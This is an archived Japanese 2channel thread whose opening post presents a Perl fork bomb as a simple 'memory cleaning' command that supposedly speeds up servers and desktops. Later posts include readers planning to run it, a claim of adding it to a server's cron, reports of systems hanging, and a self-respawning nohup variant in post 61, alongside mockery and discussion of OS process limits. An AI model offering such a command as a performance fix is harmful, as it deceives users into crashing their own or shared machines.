簡単!メモリクリーニング
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
NGNGメモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0002名無しさん@お腹いっぱい。
NGNG0003名無しさん@お腹いっぱい。
NGNG自分のPCでは一日一回実行してる。
0004名無しさん@お腹いっぱい。
NGNG0005名無しさん@お腹いっぱい。
NGNGプ
0006(゚∀゚)<さいたま〜
NGNG/ ̄\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
─( ゚ ∀ ゚ )< さいたまさいたま!
\_/ \_________
/ │ \
∩ ∧ ∧∩ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ∩∧ ∧∩\( ゚∀゚)< さいたまさいたまさいたま!
さいたま〜〜〜〜! >( ゚∀゚ )/ | / \__________
________/ | 〈 | |
/ /\_」 / /\」
 ̄ / /
 ̄
0007名無しさん@お腹いっぱい。
NGNG( ) >>1
//
//
//
//
ブンッ/ ∧__∧ //
// / ( ´) 从//
( ̄ ̄二⊂ 彡⊃ ‘ 、' > カキーン!!
 ̄ ̄ y 人 ⊂ ⊂ )
ミ(___)__),, (__(__ ̄)
0008名無しさん@お腹いっぱい。
NGNG「\ .「\
〉 .> 〉 〉
/ / / /
/ | / |
/ / / /
( 〈 . / /.
\ `\ |ヽ | >>1
\ \ / |
ヽ `´ ノ
| /__
[二二二二二]
‖||| | |‖
||||||‖
||| | |||
|||||||
`ー――´
0009名無しさん@お腹いっぱい。
NGNG0010名無しさん@お腹いっぱい。
NGNGUNIX系って書いているだろ。
0011名無しさん@お腹いっぱい。
NGNG0012名無しさん@お腹いっぱい。
NGNG0013名無しさん@お腹いっぱい。
NGNGなにをもってUNIXとするかによるけど、POSIX準拠がUNIXの基準なら
Windows NT / Windows 2000 / Windows XP はPOSIX準拠だからUNIXと
いえなくもない。。。
0014名無しさん@お腹いっぱい。
NGNGあ、ほんとだ、ちょっと早くなったきがする。
0015名無しさん@お腹いっぱい。
NGNGXPはPOSIXサブシステム外してあるんでなかったっけ?
0016名無しさん@お腹いっぱい。
NGNGhttp://www1.free-city.net/home/kotarou/page002.html
0017名無しさん@Emacs
NGNG名前がまちがってるぞ。
「CompJapan」にしろ。
0018名無しさん@お腹いっぱい。
NGNGへエー、、、メモリってそんなコマンド1つでクリーニングできるとは・・・
今、サーバにアクセスできないからさっそく明日ためしてみよう。
0019あぼーん
NGNG0020名無しさん@お腹いっぱい。
NGNG負荷かけるから?
0021名無しさん@お腹いっぱい。
NGNG0022名無しさん@お腹いっぱい。
NGNG0023名無しさん@お腹いっぱい。
NGNG0024名無しさん@お腹いっぱい。
NGNGΛ_Λ | オラオラ、
( ・∀・)< 精神異常者は消えろ!
( ) \_____________
| | \ \ グリグリ
(__) (__)
(´Д`)ノ ←>>1
0025名無しさん@お腹いっぱい。
NGNGPOSIX準拠なのは2k / NTだけ。
0026あぼーん
NGNG0027
NGNG0028すーぱーはかー
NGNGperl:command not found
と表示されてしまいます。
OSはTurbo Linux8です。
300MHzのパソコンで使っていて重いので、ぜひメモリーを掃除したいです。
どうかご教示ください
0029すーぱーはかー
NGNGというのはメモリーが掃除されたといういみなのでしょうか?
0030名無しさん@お腹いっぱい。
NGNGperl -e 'while(1){ fork() && exit }'
てなプログラムを動かされたとして、これをkillする方法ってある?
0031名無しさん@お腹いっぱい。
NGNG0032名無しさん@お腹いっぱい。
NGNG0033名無しさん@お腹いっぱい。
NGNG>>1はスーパーハカー!?
0034名無しさん@お腹いっぱい。
NGNG自宅サーバーをひそかに内緒でやってたj-comからyahoobbに移したのですが
セキュリティーホールが心配で・・・
せきゅれちーホールありますか?
http://www.musumefan.no-ip.com
0035名無しさん@お腹いっぱい。
NGNGいた間違えますた
0036名無しさん@お腹いっぱい。
NGNG掛かってない鯖はクソ。
0037名無しさん@お腹いっぱい。
NGNG(`・ω・´) < 復活シャキーン!
(つ旦と) \_______________
と_)_)
0038名無しさん@お腹いっぱい。
NGNG\\ ショボーンワッショイ!! //
+ + \\ ショボーンワッショイ!!/+
+
. + ∧_∧ ∧_∧ ∧_∧ +
(´゚ω・∩(゚ω・∩)(´ ・ω゚)
+ (( (つ ノ(つ 丿(つ つ )) +
ヽ ( ノ ( ヽノ ) ) )
(_)し' し(_) (_)_)
0039名無しさん@お腹いっぱい。
NGNG/ ||
/ || シニタクナイヨ・・・・・
/ |∧_∧
ショボーン / (:.;゚;ω;゚;.:)
∧_∧.n /~~~~~ノJ
( ´・ω・`)ノ Oノ ノ ノ
( ) .し' J
| | | ゚。
(__)_) ゜
。゚
0040あぼーん
NGNG0041名無しさん@お腹いっぱい。
NGNGなんた、自慢か!?
鯖のcronに加えさせてもらったからな、ふさけるんしゃねぇそ!
0042名無しさん@お腹いっぱい。
NGNGになっちまったぞ!どう止める?????????????????????????????????????????????????????????・
0043あぼーん
NGNG0044名無しさん@お腹いっぱい。
NGNG自作自演楽しいか?
0045名無しさん@お腹いっぱい。
NGNGいまどき>>1でこけるシステムあるの?
0046名無しさん@お腹いっぱい。
NGNG0047名無しさん@お腹いっぱい。
NGNG大抵そんなことしないからなぁ
0048名無しさん@お腹いっぱい。
NGNGsolarisは強いと言われているけど、それでも保証できないんじゃないかな?
・・・でもforkだけだとメモリ確保しないから落ちないと思ってたんだけど。
forkしてメモリ確保しておいて、後でおもむろに書き込みとかするとヤバイって思ってた。
0049名無しさん@お腹いっぱい。
NGNG役に立つコマンドなどを書き込むスレになりました。
0050名無しさん@お腹いっぱい。
NGNGキター
0051名無しさん@お腹いっぱい。
NGNGこれが「死ぬ」って状態なの?
元々立ち上げてたMozillaは特に問題ないし。2chに書き込める。
0052名無しさん@お腹いっぱい。
NGNG最大プロセス数の問題かな。
メモリ食い潰しでもしないかぎりは
Linuxでさえ、落ちたりはしないだろ。
メモリを食い潰し(swapも)てもなお確保しようとような自体になれば
他のOSでもやばいっしょ。
0053名無しさん@お腹いっぱい。
NGNG0054名無しさん@お腹いっぱい。
NGNG死なないだろ。
つか、死なない。
いちおう試してみた。
Linux 2.4.20 (Gentoo)
Pentium2 233Mhz
mem 128MB
>>46は8年間 コールドスリープしてたんじゃないのか?
0055名無しさん@お腹いっぱい。
NGNG死んだらあまりにもアホ。そんな OS はバカにしていい。
>>48
んなこたぁないだろ。
オーバーコミットしないようにチェックを厳しくすりゃいいだけだろ。
0056名無しさん@お腹いっぱい。
NGNGメモリも少ない昔のマシンは簡単に落ちた。pingにさえまともに
応答しなくなって、やむなくStop+A。
0057
NGNG0058あぼーん
NGNG0059名無しさん@お腹いっぱい。
NGNGしかし、そうするとファイルシステムまで
吹き飛ぶ罠。
0060名無しさん@お腹いっぱい。
NGNG落ちたらそいつ自身のダンプを取ってやろうとか
思ったんだけどね。
まぁぎりぎりで縮退かかるだけかな…
0061名無しさん@お腹いっぱい。
NGNG下のやつだと
sh: fork: リソースが一時的に利用できません
/usr/bin/nohup: fork: リソースが一時的に利用できません
sh: fork: リソースが一時的に利用できません
と流れるもののコンソールのもう片方では以下のコマンドが普通にうごく始末。
[root@g /root]# cat test.pl
#!/usr/bin/perl
while(1){
if( ! fork ){
system(" nohup perl ./test.pl & ");
}
}
[root@g /root]# ps ax | wc
2089 12527 83984
[root@g /root]# uname -ar
Linux g.privnet 2.2.18-0vl4.2my #1 2002年 7月 7日(日) 23時32分59秒 JST i686 unknown
[root@g /root]# cat /proc/cpuinfo | grep model
model : 8
model name : Pentium III (Coppermine)
[root@g /root]# cat /proc/cpuinfo | grep MHz
cpu MHz : 847.192
[root@g /root]# ps ax | wc
2089 12527 83984
なーにが Regatta だよ
0062あぼーん
NGNG0063名無しさん@お腹いっぱい。
NGNG復旧〜
0064名無しさん@お腹いっぱい。
NGNGそれも途中でコケそう。プロセスいっぱい使うし。
rootでnice値をマイナスにすれば大丈夫か・・・
レガッタってAIXだろ?
0066名無しさん@お腹いっぱい。
NGNGいけましたぜ旦那
要は去年の犬糞カーネルでも痛くも痒くもねえって事
それをわざわざ Regatta でやりますかね
メモリー食いつぶすかファイルをひたすらオープンし続けるか
起動しないプロセスを終了しないプロセスが待ち続けつつ増殖するとか
0067名無しさん@お腹いっぱい。
NGNGP55C 200MHz
RedHat8.0 kernel2.4.20-18.8
MEM 128MB
Apache2.0が作動しなくなって
SSHでの接続も出来なくなりました
その後 PPPoEも停止
結局は落ちたも同然の状況
カーソル画面でrootログインを使用とするがPasswd:の返事もない
うーむ、もしかしてLinuxってだめぽ?
それとも漏れの鯖が非力なだけ?
0068名無しさん@お腹いっぱい。
NGNGそうだね。乗り換えたほうが良いよ。
他に選択肢があれば、ね。
0069名無しさん@お腹いっぱい。
NGNGスケジュール優先度の高い専用アカウントを作っておく、とか。
0070名無しさん@お腹いっぱい。
NGNG次回はFreeBSDでも入れて試してみます〜
■ このスレッドは過去ログ倉庫に格納されています